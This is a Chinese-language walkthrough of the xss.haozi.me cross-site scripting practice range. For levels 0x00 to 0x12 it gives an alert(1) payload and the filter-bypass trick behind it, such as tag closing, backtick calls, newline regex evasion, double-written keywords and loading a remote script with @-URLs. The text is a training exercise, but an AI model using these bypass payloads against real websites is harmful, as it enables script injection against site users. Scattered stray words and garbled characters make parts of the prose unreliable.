xss弹窗专项练习

项目地址:https://xss.haozi.me/html

 

0x00

直接常规插入,正则表达式

<script>alert(1)</script>segmentfault

 

 

 

 


 

0x01

闭合前面的<textarea>标签xss

</textarea><script>alert(1)</script>网站

</textarea><img src=0 onerror=alert(1)>编码

 

 

 

 


 

0x02

闭合前面的双引号url

"><script>alert(1)</script>spa

 

 

 

 


 

0x03

过滤了括号,用 ` 代替3d

<script>alert`1`</script>htm

 

 

 

 


 

0x04

把括号、正括号和引号都过滤了能够考虑用html编码来绕过

 

<img src=0 onerror=alert(1)>

 

 

 

 


 

0x05

后注释符 --> 被替换成了一个表情,这里注释符有两种:

 <!-- 注释内容 -->

 <!-- 注释内容 --!>

能够用到第二种注释符

--!><script>alert(1)</script>

 

 

 

 


 

0x06

用了正则表达式来过滤匹配了:  auto 、以on开头且以=结尾的字符串、 >因此过滤了autofocusonerror等事件, 以及防止input标签被闭合

 

可是它并无匹配换行符, 能够经过换行来绕过匹配

type="image" src=0 onerror

=alert(1)

 

 

 

 


 

0x07

这里分为三部分来分析:  /<\/?[^>]+>/gi

1<\/?

   \转义符与/结合从而转义了/, 进而含义是匹配:  </

   再加上+ (匹配前面的子表达式一次或屡次), 因此是匹配: < 或者 </

2[^>]+

   首先要明白中括号的用法:  [abc] => 匹配abc中的任意一个;  

   而后^符号的两种用法:

    1.限定开头好比, /^A/会匹配"An e"中的A,可是不会匹配"ab A"中的A

    2.取反(仅处于中括号中成立): 好比,[^a-zA-Z0-9]表示 “找到一个非字母也非数字的字符”。 

 最后是+的含义:匹配前面的子表达式一次或屡次。

 因此, 总的来讲,[^>]+ 匹配了除了^的任意字符的一次或者屡次

3>

 单纯匹配>。

总的表达式就是,匹配:  </ 任意字符 >,  并且 /i 过滤了大小写

 

html的单标签也能够解析后面+空格

<img src=0 onerror=alert(1) 

 

 

 

 


 

0x08

正则匹配过滤了</style>

 

能够加一个空格</style >,形成正则逃逸

 

也能够利用正则不匹配\n来绕过

</style

><img src=0 onerror=alert(1)>

 

 


 

0x09

正则表达式白名单式地匹配了固定网址,并闭合前面的标签

https://www.segmentfault.com"></script><img src=0 onerror="alert(1)

 

 

 


 

0x0A

正则匹配过滤了不少关键字,没法在网址后面加标签等操做了,可是能够直接引用指定网站下的目录文件来达到xss注入的目的在靶场的目录下有个j.js文件里面有alert(1);代码, 直接调用便可

https://www.segmentfault.com.haozi.me/j.js

 

也可用url@语法来进行跳转调用而后@跳转访问便可 (beefhook原理)

https://www.segmentfault.com@https://www.joker.com/j.js

注意要都要为https或者http

 


 

0x0B

程序将全部字母转换为大写

 

HTML中对大小写不敏感

JS中对大小写敏感

这样能够js代码进行编码处理, html部分不变

<img src=0 onerror="alert(1)">

 

域名对大小写也不敏感  ,  全部能够用上一题的方法调用靶机上自带的j.js代码完成xss注入:

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

 

0x0C

和上一题相比, 只是多了一个对script的过滤,

<img src=0 onerror="alert(1)">

 

也能够用双写绕过

<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>

 


 

0x0D

用正则把斜杠, 单、双引号都过滤了

但回车能够破坏结构,再直接注入alert(1),  再配合js的注释符 --> 注释掉')

 

 

 


 

0x0E

正则匹配了全部大小写字母,将尖括号后面追加一个下划线, 而且将全部字符大写

 

找到一个字符的大写是s ſ  (古英文, 拉丁文):

https://www.thetype.com/2009/10/1577

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

 

 

 


 

0x0F

将一些经常使用的注入字符进行了html编码处理, 因为编码后处于html标签中, 因此当解析代码的时候, 被过滤编码的字符仍然会被还原来执行因此能够说, 被过滤的字符能够用,构造一下,使其闭合在注释掉后面的内容便可

'); alert(1); //

 

 

 


 

0x10

没有过滤, 随意给window.date一个值再注入

''; alert(1); //

 

 

 


 

0x11

//虽然被转义成了\/\/,  但转义以后仍是//,  js中仍是注释符 (勿与正则弄混

"); alert(1); //

 

 

 


 

0x12

这题将双引号转义了, 就不能闭合了换个思路, 它并无将转义符转义那么咱们能够将转义符转义

\"); alert(1); //

 

 

 


 

完。

相关文章
相关标签/搜索